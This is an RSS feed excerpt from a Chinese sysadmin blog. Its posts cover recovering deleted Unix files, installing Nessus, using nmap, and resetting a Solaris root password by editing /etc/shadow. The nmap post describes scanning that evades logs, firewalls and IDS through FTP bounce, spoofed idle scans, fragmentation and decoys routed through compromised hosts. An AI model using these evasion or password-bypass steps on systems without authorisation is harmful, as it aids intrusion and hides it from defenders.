<p>Unix所有文件均存放于目录中，目录本身也是一个文件。目录存放文件的机制如下: 首先，目录文件本身也象普通文件一样，占用一个索引节点; 其次，由这个索引节点得到目录内容的存放位置; 再次，从其内容中取出一个个的文件名和它对应的节点号，从而访问一个文件。 </p>
<p>由此可知文件名是依靠目录来描述的，文件的内容和其他信息则由索引节点来描述。 </p>
<p>被删文件的恢复策略 </p>
<p>Unix 下删除一个文件的过程很简单，那就是释放索引节点表和文件占用的数据块，清空文件占用的索引节点，但不清除文件内容。但删除文件与删除目录的处理不尽相 同，不同命令删除文件的过程也不相同。 Unix 删除一个文件的具体步骤是: 根据文件i节点的地址表逐一释放文件占用的磁盘数据块，然后清空相应的节点，最后释放i节点。 删除一个目录的过程是: 首先逐一删除目录里的所有文件，然后删除目录。目录本身也是一个文件，故删除方法与删除文件一致。 </p>
<p>要恢复被删除的文件，只能根据删除后留下的东西去做文章。文件被删除后留下了什么呢？由上述分析可知: 其一，留下了文件的内容; 其二，留下了“现场”。文件的恢复策略只能从这两个方面来分析。 </p>
<p>1.根据磁盘现场进行恢复 </p>
<p>如果文件被删除，现场未被破坏(即文件被删除后硬盘未发生过写操作)，而且假定只删除了一个文件，那么可根据系统的分配算法进行恢复。因为系统建立一个文 件时，必定根据某一特定的分配算法决定文件占用的数据块位置。而当该文件被删除后，它所占用的数据块被释放，又回到系统的分配表中，这时如果重新建立一个 文件，系统根据原来的分配算法分配出的数据块必定跟该文件原来占用的数据块一致。而且我们知道，Unix文件最后一个数据块尾部多出的字节是全部置0的， 据此只要调用系统的数据分配算法，在系统中一块一块地申请数据块，只要发现一个分配出的数据块中尾部全为0，即可认为文件结束，由此可确定文件长度和内 容，进而实现恢复。方法如下: </p>
<p>● 申请一个索引节点，即向系统申请创建一个新文件名而不写入任何内容。如: #>/tmp/xx。 </p>
<p>● 调用系统分配数据块算法getnextfreeblock()得到一个数据块号，记入某一地址表变量中。 </p>
<p>● 读出这个数据块，判断其尾部是否全部连续为0，若不是，则回到第二步，若是，则进行第四步。 </p>
<p>● 首先用系统函数fstat得到/tmp/xx的i节点号，然后将第二步所得的地址表写入索引节点的地址表中(注意间址问题)，并根据数据块个数和最后一块中有效数据长度计算出文件大小，写入i节点的di_size字段。 </p>
<p>● 回写系统的索引节点表即可。 </p>
<p>需要说明的是: 第一，系统分配数据块的算法因不同的Unix版本而不同; 第二，有的Unix如SCO Unix 5.0版，其空闲数据块的分配和回收是使用一种动态链表的数据结构来实现的，它们的文件恢复更加容易，只要在空闲链表中的表尾去寻找即可。 </p>
<p>2. 根据内容恢复 </p>
<p>若现场已被破坏，即硬盘发生过写操作，那么只好根据内容来恢复。而且，由于Unix是一个多进程、多用户系统，它每一次开关机或硬件、通信故障等都会记录 系统日志、.sh_history等，硬盘现场被破坏的可能性极大。因此讨论按内容恢复的方法具有更大的实用价值。笔者经过实际探索得出下列四种恢复策略 供参考。 </p>
<p>● 关键字搜索法 </p>
<p>如果知道被删除的文件内容中若干字节的内容，而且该文件长度又不超过一个磁盘 块，那么可以在整个文件系统中搜索这一字节串，得出一个文件所在的数据块，将它们的块号填入一个i节点，即可恢复一个文件。搜索文件系统的算法很简单，说 明如下: 首先，用“#df －k”命令确定文件系统的设备文件名(如/dev/root); 然后，用下述函数搜索，若成功，返回数据块号，反之返回-1。其中fsname是文件系统的设备名，如/dev/root，comp()参数是实现搜索条 件的函数。 </p>
<p>long searchfs(char *fsname , int comp()) </p>
<p>{ FILE *fp; </p>
<p>char buf[1024]; </p>
<p>long i=0; </p>
<p>fp=fopen(fsname,&#8221;r&#8221;); </p>
<p>while (!feof(fp)) </p>
<p>{ fread(buf,1024,1,fp); </p>
<p>if (comp()) /* 检查是否符合搜索条件 */ </p>
<p>return i; /* 若成功返回块号 */ </p>
<p>i++; </p>
<p>} </p>
<p>fclose(fp); </p>
<p>return -1; /* 未找到符合条件的块，返回-1*/ } </p>
<p>● 精确长度搜索法 </p>
<p>如果知道被删除文件的精确长度(字节数)，那么可根据一个数据块的大小，计算出文件的最后一个数据块中数据的精确长度，该数据块中其他字节必然是全0。根 据这一条件，通过搜索整个文件系统，找出其中符合条件的数据块，若出现多个块符合要求，则还需要根据其他条件区分。但不管怎样，根据精确长度分析也是恢复 数据的一个策略。 </p>
<p>● 内容关联法 </p>
<p>如果知道文件内容中存在某种可实现的关联，例如文件的校验和或者文件内容的某种上下文关系，那么也可通过搜索整个文件系统，通过反复尝试寻找符合关联条件的磁盘数据块，进而恢复一个文件。 </p>
<p>● 环境比较法 </p>
<p>如果知道删除文件所在的文件系统的安装过程，那么，另找一台完全相同的机器，按原来完全相同的步骤安装相同版本的Unix和相应的其他软件。可以想象，新 的机器环境会与原来的环境基本相同，比较两个机器上相同文件系统的内容，可以推断出被删除文件的大致位置，至少可以大大减少查找的范围，一旦查找的范围足 够小时，就可以用逐个观察和尝试的方法结合其他条件恢复数据，降低恢复的难度，增加恢复的可靠性。 (作者单位: 中国人民银行抚州市中心支行 ) </p>
<p>链接 </p>
<p>SCO Unix磁盘块分配算法 </p>
<p>由于一个磁盘块的大小为1024字节，所以一个位图块可以管理0&#215;400×8=0&#215;2000个磁盘块。那么，下一个位图块的块号就是0&#215;61d+ 0&#215;2000=0&#215;261d。这与位图索引块中的数据是相符的。那么，位图块0&#215;61d管理着块号为0&#215;61d-0&#215;261c的磁盘块。由以上数据可见， 在这个位图块中，第一个被使用的磁盘块块号是0&#215;61d，即位图块本身。第一个空闲块块号由0&#215;187401处字节0&#215;1c的第2位指示，是0&#215;627。 由于该位图块是文件卷中的第一个位图块，所以0&#215;627号磁盘块也是文件卷中的第一个空闲块。当我们向系统申请磁盘块时，系统通过超级块、位图索引块、位 图块来寻找那些标志位为1的块，然后将相应的标置位置0。</p>
<p>当释放一个磁盘块时，系统就将相应的标志位置1。现在，我们就可以判断出文 件卷中的每一个磁盘块是否被使用了。但是仅凭这些还不能完全恢复误删的文件，我们还得了解SCO Unix分配磁盘块的算法。为了使一个文件所占用的磁盘块相对集中，SCO Unix是按照特定的算法来选择空闲块分配给文件的。假设某文件所占用的最后一个磁盘块的块号为m，现在要再分配一磁盘块给该文件，若该文件是新文件，则 m=0。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1393.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nessus的安装和使用（下）</title>
		<link>http://www.evanjiang.net.cn/archives/1389.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1389.html#comments</comments>
		<pubDate>Thu, 10 Dec 2009 14:36:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全工具]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1389</guid>
		<description><![CDATA[<p>**********</p>
<p>We are going to ask you some question for each client certificate</p>
<p>If some question has a default answer, you can force an empty answer by</p>
<p>entering a single dot &#8216;.&#8217;</p>
<p>*********</p>
<p>User #1 name (e.g. Nessus username): admin</p>
<p>Client certificates life time in days [365]:admin</p>
<p>Country (two letter code) [CN]: CN</p>
<p>State or province name [BJ]:</p>
<p>Location (e.g. town) [BJ]:</p>
<p>Organization [Test]:</p>
<p>Organization unit [...]]]></description>
			<content:encoded><![CDATA[<p>**********</p>
<p>We are going to ask you some question for each client certificate</p>
<p>If some question has a default answer, you can force an empty answer by</p>
<p>entering a single dot &#8216;.&#8217;</p>
<p>*********</p>
<p>User #1 name (e.g. Nessus username): admin</p>
<p>Client certificates life time in days [365]:admin</p>
<p>Country (two letter code) [CN]: CN</p>
<p>State or province name [BJ]:</p>
<p>Location (e.g. town) [BJ]:</p>
<p>Organization [Test]:</p>
<p>Organization unit [Test]:</p>
<p>e-mail []: admin@test.com</p>
<p>Generating RSA private key, 1024 bit long modulus</p>
<p><span id="more-1389"></span><br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++</p>
<p>e is 65537 (0&#215;10001)</p>
<p>You are about to be asked to enter information that will be incorporated</p>
<p>into your certificate request.</p>
<p>What you are about to enter is what is called a Distinguished Name or a DN.</p>
<p>There are quite a few fields but you can leave some blank</p>
<p>For some fields there will be a default value,</p>
<p>If you enter &#8216;.&#8217;, the field will be left blank.</p>
<p>&#8212;&#8211;</p>
<p>Country Name (2 letter code) [FR]:State or Province Name (full name)</p>
<p>[Some-State]:Locality Name (eg, city) []:Organization Name (eg, company)</p>
<p>[Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common</p>
<p>Name (eg, your name or your server&#8217;s hostname) []:Email Address []:Using</p>
<p>configuration from /tmp/nessus-mkcert.6217/stdC.cnf</p>
<p>Check that the request matches the signature</p>
<p>Signature ok</p>
<p>The Subject&#8217;s Distinguished Name is as follows</p>
<p>countryName           <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> RINTABLE:&#8217;CN&#8217;</p>
<p>stateOrProvinceName   <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> RINTABLE:&#8217;BJ&#8217;</p>
<p>localityName          <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> RINTABLE:&#8217;BJ&#8217;</p>
<p>organizationName      <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> RINTABLE:&#8217;Test&#8217;</p>
<p>organizationalUnitName:PRINTABLE:&#8217;Test&#8217;</p>
<p>commonName            <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> RINTABLE:&#8217;admin&#8217;</p>
<p>emailAddress          :IA5STRING:&#8217;admin@test.com&#8217;</p>
<p>Certificate is to be certified until May 25 17:37:42 2008 GMT (365 days)</p>
<p>Write out database with 1 new entries</p>
<p>Data Base Updated</p>
<p>User rules</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>nessusd has a rules system which allows you to restrict the hosts</p>
<p>that has the right to test. For instance, you may want</p>
<p>him to be able to scan his own host only.</p>
<p>Please see the nessus-adduser(8) man page for the rules syntax</p>
<p>Enter the rules for this user, and hit ctrl-D once you are done:</p>
<p>(the user can have an empty rules set)</p>
<p>User added to Nessus.</p>
<p>Another client certificate? n</p>
<p>Your client certificates are in /tmp/nessus-mkcert.6217                             ；证书在/tmp/nessus-mkcert.6217,要妥善保存</p>
<p>You will have to copy them by hand</p>
<p>7.将证书放到nessus的证书目录下</p>
<p>[root@test8 /]# cd /tmp/nessus-mkcert.6217/</p>
<p>[root@test8 nessus-mkcert.6217]# ls</p>
<p>01.pem                   index.txt      req_admin.pem stdC.cnf</p>
<p>cert_admin.pem           index.txt.old serial</p>
<p>cert_nessuswx_admin.pem key_admin.pem serial.old</p>
<p>[root@test8 nessus-mkcert.6217]# cp *.pem /opt/nessus/com/nessus/CA/</p>
<p>8安装并启用NessussClient</p>
<p>[root@test8 /]# mv NessusClient-1[1].0.2-es4.i386 NessusClient.rpm</p>
<p>[root@test8 /]# rpm -ivh NessusClient.rpm</p>
<p>[root@test8 /]#NessussClient<br />
在“File”菜单中点击“Connect”出现以下对话框：</p>
<p>“Hostname”: nessus服务器名称或地址</p>
<p>“Port”:nessus服务端口地址；</p>
<p>“Login”和”Password”为用户名和密码；</p>
<p>“Use SSL encryption”启用SSL协议</p>
<p>”Authentication by certificate”用证书方式认证</p>
<p>一般可以通过用户名和密码登陆进行检测，如需安全的证书人证登陆请将</p>
<p>“Use SSL encryption”和”Authentication by certificate”</p>
<p>9.建立扫描任务</p>
<p>在“File” 菜单点击“Scan Assistant”，用Scan Assistant定制检测任务。</p>
<p>10。启用扫描</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nessus的安装和使用（上）</title>
		<link>http://www.evanjiang.net.cn/archives/1387.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1387.html#comments</comments>
		<pubDate>Thu, 10 Dec 2009 14:35:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全工具]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1387</guid>
		<description><![CDATA[<p>1。到[url]http://www.[/url]nessus.org/注册一个帐号，下载最新的安装文件.并到你注册的邮箱查收注册码保存。</p>
<p>Nessus-3.0.5-es4.i386.rpm</p>
<p>NessusClient-1[1].0.2-es4.i386.rpm</p>
<p>2。安装Nessus-3.0.5-es4.i386</p>
<p>[root@test8 sbin] rpm -ivh Nessus-3.0.5-es4.i386.rpm</p>
<p>Preparing&#8230;                ########################################### [100%]</p>
<p>1:Nessus                 ########################################### [100%]</p>
<p>**** This host seems to be running under VMware.</p>
<p>**** Nessus performance is abysmal when running under [...]]]></description>
			<content:encoded><![CDATA[<p>1。到[url]http://www.[/url]nessus.org/注册一个帐号，下载最新的安装文件.并到你注册的邮箱查收注册码保存。</p>
<p>Nessus-3.0.5-es4.i386.rpm</p>
<p>NessusClient-1[1].0.2-es4.i386.rpm</p>
<p>2。安装Nessus-3.0.5-es4.i386</p>
<p>[root@test8 sbin] rpm -ivh Nessus-3.0.5-es4.i386.rpm</p>
<p>Preparing&#8230;                ########################################### [100%]</p>
<p>1:Nessus                 ########################################### [100%]</p>
<p>**** This host seems to be running under VMware.</p>
<p>**** Nessus performance is abysmal when running under VMware</p>
<p>**** We do not recommand you use this setup in production</p>
<p>**** This host seems to be running under VMware.</p>
<p>**** Nessus performance is abysmal when running under VMware</p>
<p>**** We do not recommand you use this setup in production</p>
<p>nessusd (Nessus) 3.0.5. for Linux</p>
<p>(C) 1998 &#8211; 2007 Tenable Network Security, Inc.</p>
<p>Processing the Nessus plugins&#8230;</p>
<p>[##################################################]</p>
<p><span id="more-1387"></span></p>
<p>All plugins loaded</p>
<p>- Please run /opt/nessus//sbin/nessus-add-first-user to add an admin user</p>
<p>- Register your Nessus scanner at [url]http://www.[/url]nessus.org/register/ to obtain</p>
<p>   all the newest plugins</p>
<p>- You can start nessusd by typing /sbin/service nessusd start</p>
<p>3.添加检测用户帐号和密码</p>
<p>[root@test8 sbin]# ./nessus-add-first-user</p>
<p>**** This host seems to be running under VMware.</p>
<p>**** Nessus performance is abysmal when running under VMware</p>
<p>**** We do not recommand you use this setup in production</p>
<p>**** This host seems to be running under VMware.</p>
<p>**** Nessus performance is abysmal when running under VMware</p>
<p>**** We do not recommand you use this setup in production</p>
<p>Using /var/tmp as a temporary file holder</p>
<p>Add a new nessusd user</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Login : admin</p>
<p>Authentication (pass/cert) [pass] : pass</p>
<p>Login password :</p>
<p>Login password (again) :</p>
<p>User rules</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>nessusd has a rules system which allows you to restrict the hosts</p>
<p>that admin has the right to test. For instance, you may want</p>
<p>him to be able to scan his own host only.</p>
<p>Please see the nessus-adduser(8) man page for the rules syntax</p>
<p>Enter the rules for this user, and hit ctrl-D once you are done :</p>
<p>(the user can have an empty rules set)</p>
<p>Login             : admin</p>
<p>Password          : ***********</p>
<p>DN                :</p>
<p>Rules             :</p>
<p>Is that ok ? (y/n) [y] y</p>
<p>user added.</p>
<p>Thank you. You can now start Nessus by typing :</p>
<p>/opt/nessus//sbin/nessusd -D</p>
<p>4。注册Nessus</p>
<p>[root@test8 sbin]#/opt/nessus/bin/nessus-fetch &#8211;register AA2A-8930-320E-A2FF-3BC3</p>
<p>5。启用Nessus服务</p>
<p>[root@test8 sbin]# ./nessusd -D</p>
<p>**** This host seems to be running under VMware.</p>
<p>**** Nessus performance is abysmal when running under VMware</p>
<p>**** We do not recommand you use this setup in production</p>
<p>nessusd (Nessus) 3.0.5. for Linux</p>
<p>(C) 1998 &#8211; 2007 Tenable Network Security, Inc.</p>
<p>Processing the Nessus plugins&#8230;</p>
<p>[##################################################]</p>
<p>All plugins loaded</p>
<p>6。基于安全考虑创建CA证书</p>
<p>[root@test8 bin]# ./nessus-mkcert-client</p>
<p>Do you want to register the users in the Nessus server</p>
<p>as soon as you create their certificates ? (y/n): y</p>
<p>This script will now ask you the relevant information to create the SSL</p>
<p>client certificates for Nessus.</p>
<p>Client certificates life time in days [365]:365</p>
<p>Your country (two letter code) [FR]: CN</p>
<p>Your state or province name [none]: BJ</p>
<p>Your location (e.g. town) [Paris]: BJ</p>
<p>Your organization [none]: Test</p>
<p>Your organizational unit [none]:Test</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1387.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>端口扫描工具nmap使用介绍</title>
		<link>http://www.evanjiang.net.cn/archives/1385.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1385.html#comments</comments>
		<pubDate>Thu, 10 Dec 2009 14:29:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全工具]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1385</guid>
		<description><![CDATA[<p>nmap 使用介绍</p>
<p>nmap是目前为止最广为使用的国外端口扫描工具之一。我们可以从http://www.insecure.org/进行下载，可以很容易的安装到Windows和unix操作系统中，包括mac os x（通过configure、make 、make install等命令）也可以直接从http：//www.insecure.org/下载windows二进制（包括所需要的winpcap）也可以从http：//www.nmapwin.org/获得nmap的图形windows。</p>
<p>扫描主机</p>
<p>$ nmap -sT 192.168.1.18
Starting nmap 3.48(http://www.insecure.org/nmap/)at 2007-10-10 18:13 EDT
Interesting ports on gamebase(192.168.1.18)
port                  state                serverice
22/tcp     [...]]]></description>
			<content:encoded><![CDATA[<p>nmap 使用介绍</p>
<p>nmap是目前为止最广为使用的国外端口扫描工具之一。我们可以从http://www.insecure.org/进行下载，可以很容易的安装到Windows和unix操作系统中，包括mac os x（通过configure、make 、make install等命令）也可以直接从http：//www.insecure.org/下载windows二进制（包括所需要的winpcap）也可以从http：//www.nmapwin.org/获得nmap的图形windows。</p>
<p>扫描主机</p>
<p>$ nmap -sT 192.168.1.18<br />
Starting nmap 3.48(http://www.insecure.org/nmap/)at 2007-10-10 18:13 EDT<br />
Interesting ports on gamebase(192.168.1.18)<br />
port                  state                serverice<br />
22/tcp              open                ssh<br />
111/tcp            open                sunrpc<br />
 &#8230;&#8230;&#8230;.<br />
$ nmap -sR 192.168.1.18<br />
Startingnmap 3.48(http://www.insecure.org/nmap/)at 2007-10-10 18:13 EDT<br />
Interesting ports on gamebase(192.168.1.18)<br />
port                  state                serverice<br />
22/tcp              open                ssh<br />
111/tcp            open                sunrpc<br />
 &#8230;&#8230;&#8230;.</p>
<p>我们可以使用ping扫描的方法（-sP），与fping的工作方式比较相似，它发送icmp回送请求到指定范围的ip地址并等待响应。现在很多主机在扫描的时候都做了处理，阻塞icmp请求，这种情况下。nmap将尝试与主机的端口80进行连接，如果可以接收到响应（可以是syn/ack，也可以是rst），那么证明主机正在运行，反之，则无法判断主机是否开机或者是否在网络上互连。</p>
<p>扫描tcp端口</p>
<p>这里-sR是怎样在打开的端口上利用RPC命令来判断它们是否运行了RPC服务。</p>
<p>nmap可以在进行端口扫描的tcp报文来做一些秘密的事情。首先，要有一个SYN扫描（-sS),它只做建立TCP连接的前面一些工作，只发送一个设置SYN标志的TCP报文，一个RESET报文，那么nmap假设这个端口是关闭的，那么就不做任何事情。如果接收到一个响应，它并不象正常的连接一样对这个报文进行确认，而是发送一个RET报文，TCP的三次握手还没有完成，许多服务将不会记录这次连接。</p>
<p>有的时候，nmap会告诉我们端口被过滤，这意味着有防火墙或端口过滤器干扰了nmap，使其不能准确的判断端口是打开还是关闭的，有的防火墙只能过滤掉进入的连接。</p>
<p><span id="more-1385"></span>扫描协议</p>
<p>如果试图访问另一端无程序使用的UDP端口，主机将发回一个icmp“端口不可达”的提示消息，IP协议也是一样。每个传输层的IP协议都有一个相关联的编号，使用最多的是ICMP(1)、TCP(6)和UDP(17)。所有的IP报文都有一个“协议”域用于指出其中的传输层报文头所使用的协议。如果我们发送一个没有传输层报文头的原始IP报文并把其协议域编号为130[该编号是指类似IPSEC协议的被称为安全报文外壳或SPS协议]，就可以判断这个协议是否在主机上实现了。如果我们得到的是ICMP协议不可达的消息，意味着该协议没有被实现，否则就是已经实现了，用法为-sO.</p>
<p>隐蔽扫描行为</p>
<p>nmap给出了几个不同的扫描选项，其中一些可以配套着隐藏扫描行为，使得不被系统日志、防火墙和IDS检测到。提供了一些随机的和欺骗的特性。具体例子如下：</p>
<p>FTP反弹，在设计上，FTP自身存在一个很大的漏洞，当使用FTP客户机连接到FTP服务器时，你的客户机在TCP端口21上与FTP服务器对话，这个TCP连接称为控制连接。FTP服务器现在需要另一条与客户机连接，该连接称为数据连接，在这条连接上将传送实际的文件数据，客户机将开始监听另一个TCP端口上从服务器发挥的数据连接，接下来执行一个PORT命令到服务器，告诉它建立一条数据连接到客户机的IP地址和一个新打开的端口，这种操作方法称为主动传输。许多客户机使用网络地址转换或通过防火墙与外界连接，所以主动传输FTP就不能正常工作，因为由服务器建立的客户机的连接通常不允许通过。</p>
<p>被动传输是大多数FTP客户机和服务器所使用的方法，因为客户机既建立控制连接又建立数据连接，这样可以通过防火墙或NAT。</p>
<p>FTP的PORT命令，用来告诉FTP连接的服务器，使得与刚刚打开的用于数据连接的端口之间建立一个连接。由于我们不仅指定端口而且指定连接所用的IP地址，所以客户端也可以通过PORT命令让服务器连接到任何地方。所以我们一样可以让nmap用这个方法进行防火墙穿透。nmap做的所有工作是与一台服务器建立一个主动模式的FTP连接，并发送一个包含它试图扫描的主机IP地址和端口号的PORT命令。</p>
<p>nmap -b aaa@ftp.target.com -p 6000 192.168.1.226<br />
nmap 与ftp服务器的对话的例子：<br />
server：220  target ftp server version 4 ready<br />
client:user  anonymous<br />
server: 331 Guest login ok ,send e-mail as password<br />
client:pass<br />
server :230 login successful<br />
client:PORT 192,168,1.226,23,112<br />
server:200 PORT command successful<br />
client:LIST<br />
server:150 Opening ASCII connection for &#8216;/bin/ls&#8217;<br />
server:226 Transfer complete</p>
<p>PORT命令起作用，可以制造是别人进行端口扫描，扫描任何FTP服务器所能访问的主机，绕过防火墙和端口过滤器，但还是存在一些危险的，如果对方登陆到了你的这个匿名FTP服务器上，从日志查找到相应的匿名FTP连接，从而知道你的IP地址，这样就直接暴露了。</p>
<p>nmap -sI 空闲扫描，主要是欺骗端口扫描的源地址。</p>
<p>nmap -f 可以把TCP头分片的IP报文进行一些隐蔽的扫描。不完整的TCP报文不被防火墙阻塞也不被IDS检测到。</p>
<p>nmap-D<br />
选择几台肉鸡，并使用-D标志在命令行中指定它们。namp通过诱骗的IP地址来进行欺骗式端口扫描，而系统管理员可以同时看到不同的端口扫描，而只有一个是真实的，很好的保护了自己。</p>
<p>os指纹识别<br />
这个是nmap最有用的功能之一，就是可以鉴别远程主机。通过简单的执行网络扫描，nmap通常可以告诉你远程主机所运行的OS，甚至详细到版本号。当你指定-Q标志时，nmap将用几种不同的技术从主机返回IP报文中寻找这些鉴别信息。通过发送特别设计的TCP和UDP头，nmap可以得到远程主机对TCP/IP协议栈的处理方法。它将分析结果与保存在文件中的已知特征信息进行比较。</p>
<p>OS鉴别选项也可以让nmap对TCP报文进行分析以决定另外一些信息，如系统的启动时间，TCP序列号，预测的序列号使我们更容易截获报文并猜测序列号从而伪造TCP连接。</p>
<p>nmap命令使用详细解释</p>
<p>-P0 -PT -PS -PU -PE -PP -PM -PB 当nmap进行某种类型的端口或协议扫描时，通常都会尝试先ping 主机，这种尝试可使nmap不会浪费时间在那些未开机的主机上，但是许多主机与防火墙会阻塞ICMP报文，我们希望能通过控制使用。</p>
<p>-P0  告诉nmap不ping 主机，只进行扫描</p>
<p>-PT  告诉nmap使用TCP的ping</p>
<p>-PS  发送SYN报文。</p>
<p>-PU  发送一个udp ping</p>
<p>-PE  强制执行直接的ICMP ping </p>
<p>-PB  这是默认类型，可以使用ICMP ping 也可以使用TCP ping .</p>
<p>-6   该标志允许IPv6支持</p>
<p>-v  -d  使用-v选项可得到更详细的输出，而-d选项则增加调试输出。</p>
<p>-oN  按照人们阅读的格式记录屏幕上的输出，如果是在扫描多台机器，则该选项很有用。</p>
<p>-oX  以xml格式向指定的文件记录信息</p>
<p>-oG  以一种易于检索的格式记录信息，即每台主机都以单独的行来记录所有的端口和0s信息。</p>
<p>-oA  使用为基本文件名，以普通格式(-oN)、XML格式(-oX)和易于检索的格式（-oG）jilu  xinxi  </p>
<p>-oM  把输出格式化为机器可阅读的文件</p>
<p>-oS  把输出进行傻瓜型排版</p>
<p>&#8211;resume如果你取消了扫描，但生成了供人或者供机器阅读的文件，那么可以把该文件提供给nmap继续让它扫描。</p>
<p>-iR-iL可以不在命令行中指定目标主机，而是使用-iR选项随即产生待扫描的主机，或者使用-iL选项从一个包含主机名或IP地址列表的文件中读取目标主机，这些主机名或IP地址使用空格、制表符或换行隔开。</p>
<p>-F nmap只扫描在nmap内建的服务文件中已知的端口，如果不指定该选项，nmap将扫描端口1-1024及包含在nmap-services文件中的所有其他端口。如果用-sO选项扫描协议，nmap将用它内建的协议文件(nmap-protocols文件)而不是默认地扫描所有256个协议。</p>
<p>-A nmap使用所有的高级扫描选项</p>
<p>-p 参数可以是一个单独的端口、一个用逗号隔开的端口列表、一个使用“-”表示的端口范围或者上述格式的任意组合。如果没有指定该选项，nmap将对包含前1024个端口的所有端口进行一次快速扫描。</p>
<p>-e在多穴主机中，可以指定你用来进行网络通信的网络接口。</p>
<p>-g可以选择一个源端口，从该端口执行所有的扫描。</p>
<p>&#8211;ttlnmap其发送的任何报文在到中间路由器的跳后会失效。</p>
<p>&#8211;packet-trace 可以显示扫描期间nmap发送和接收的各个报文的详细列表，这对调试非常有用。要与-o选项之一联合使用，需要根权限，以将所有的数据记录到文件。</p>
<p>&#8211;scanflags可以使用这个选项手工的指定欲在扫描报文中设置的TCP标志。也可以指定TCP标志的OOred值的整数形式，或者标志的字符串表示形式。</p>
<p>以上介绍的就是nmap在windows下和unix中的命令介绍。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1385.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Solaris root 密码恢复笔记</title>
		<link>http://www.evanjiang.net.cn/archives/1383.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1383.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 13:27:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1383.html</guid>
		<description><![CDATA[<p>Solaris root密码恢复</p>
<p>前提条件：cd-rom中要放入Solaris引导盘.
• 到 OK 提示符下
1．通过按 Stop +A .
2．SC上请输入break -> console -f  也可以进入。</p>
<p>• 在OK 提示符下输入以下命令
#ok boot cdrom -s
• 挂启动盘到 /mnt
可以通过df 命令查看,如果是看到d0这种盘符,用/usr/sbin/metastat d0可以找到对应的磁盘名称，如果系统无法登陆的话，可以自己手工将/dev/dsk/c?t?d?s?一个个的试mount，这要看人品了。如果是做了镜像的md盘两个盘都要mount上修改shadow文件.</p>
<p>$ df -k /
Filesystem            kbytes    used   avail capacity  Mounted on
/dev/md/dsk/d0       20655025 [...]]]></description>
			<content:encoded><![CDATA[<p>Solaris root密码恢复</p>
<p>前提条件：cd-rom中要放入Solaris引导盘.<br />
• 到 OK 提示符下<br />
1．通过按 Stop +A .<br />
2．SC上请输入break -> console -f  也可以进入。</p>
<p>• 在OK 提示符下输入以下命令<br />
#ok boot cdrom -s<br />
• 挂启动盘到 /mnt<br />
可以通过df 命令查看,如果是看到d0这种盘符,用/usr/sbin/metastat d0可以找到对应的磁盘名称，如果系统无法登陆的话，可以自己手工将/dev/dsk/c?t?d?s?一个个的试mount，这要看人品了。如果是做了镜像的md盘两个盘都要mount上修改shadow文件.</p>
<p>$ df -k /<br />
Filesystem            kbytes    used   avail capacity  Mounted on<br />
/dev/md/dsk/d0       20655025 8564261 11884214    42%    /<br />
$ /usr/sbin/metastat d0<br />
d0: Mirror<br />
    Submirror 0: d10<br />
      State: Okay<br />
    Submirror 1: d20<br />
      State: Okay<br />
    Pass: 1<br />
    Read option: roundrobin (default)<br />
    Write option: parallel (default)<br />
    Size: 41945472 blocks (20 GB)<br />
<span id="more-1383"></span><br />
d10: Submirror of d0<br />
    State: Okay<br />
    Size: 41945472 blocks (20 GB)<br />
    Stripe 0:<br />
        Device     Start Block  Dbase        State Reloc Hot Spare<br />
        c0t0d0s0          0     No            Okay   Yes </p>
<p>d20: Submirror of d0<br />
    State: Okay<br />
    Size: 41945472 blocks (20 GB)<br />
    Stripe 0:<br />
        Device     Start Block  Dbase        State Reloc Hot Spare<br />
        c0t1d0s0          0     No            Okay   Yes </p>
<p>Device Relocation Information:<br />
Device   Reloc  Device ID<br />
c0t0d0   Yes    id1,sd@SFUJITSU_MAW3147NCSUN146G000749C0CPN1____DAC0P7C0CPN1<br />
c0t1d0   Yes    id1,sd@SFUJITSU_MAW3147NCSUN146G000749C0CP9E____DAC0P7C0CP9E<br />
$<br />
#mount /dev/dsk/c0t0d0s0 /mnt<br />
• 删除root口令信息,编辑/mnt/etc/shadow文件中的root行第二列,<br />
如下所示:<br />
root:IZg8892D8K3eI:14554::::::<br />
# vi /mnt/etc/shadow<br />
• unmount  下 /mnt 再将第二块盘mount来修改shadow<br />
#umount /mnt<br />
• 重启主机进入多用户状态<br />
#reboot<br />
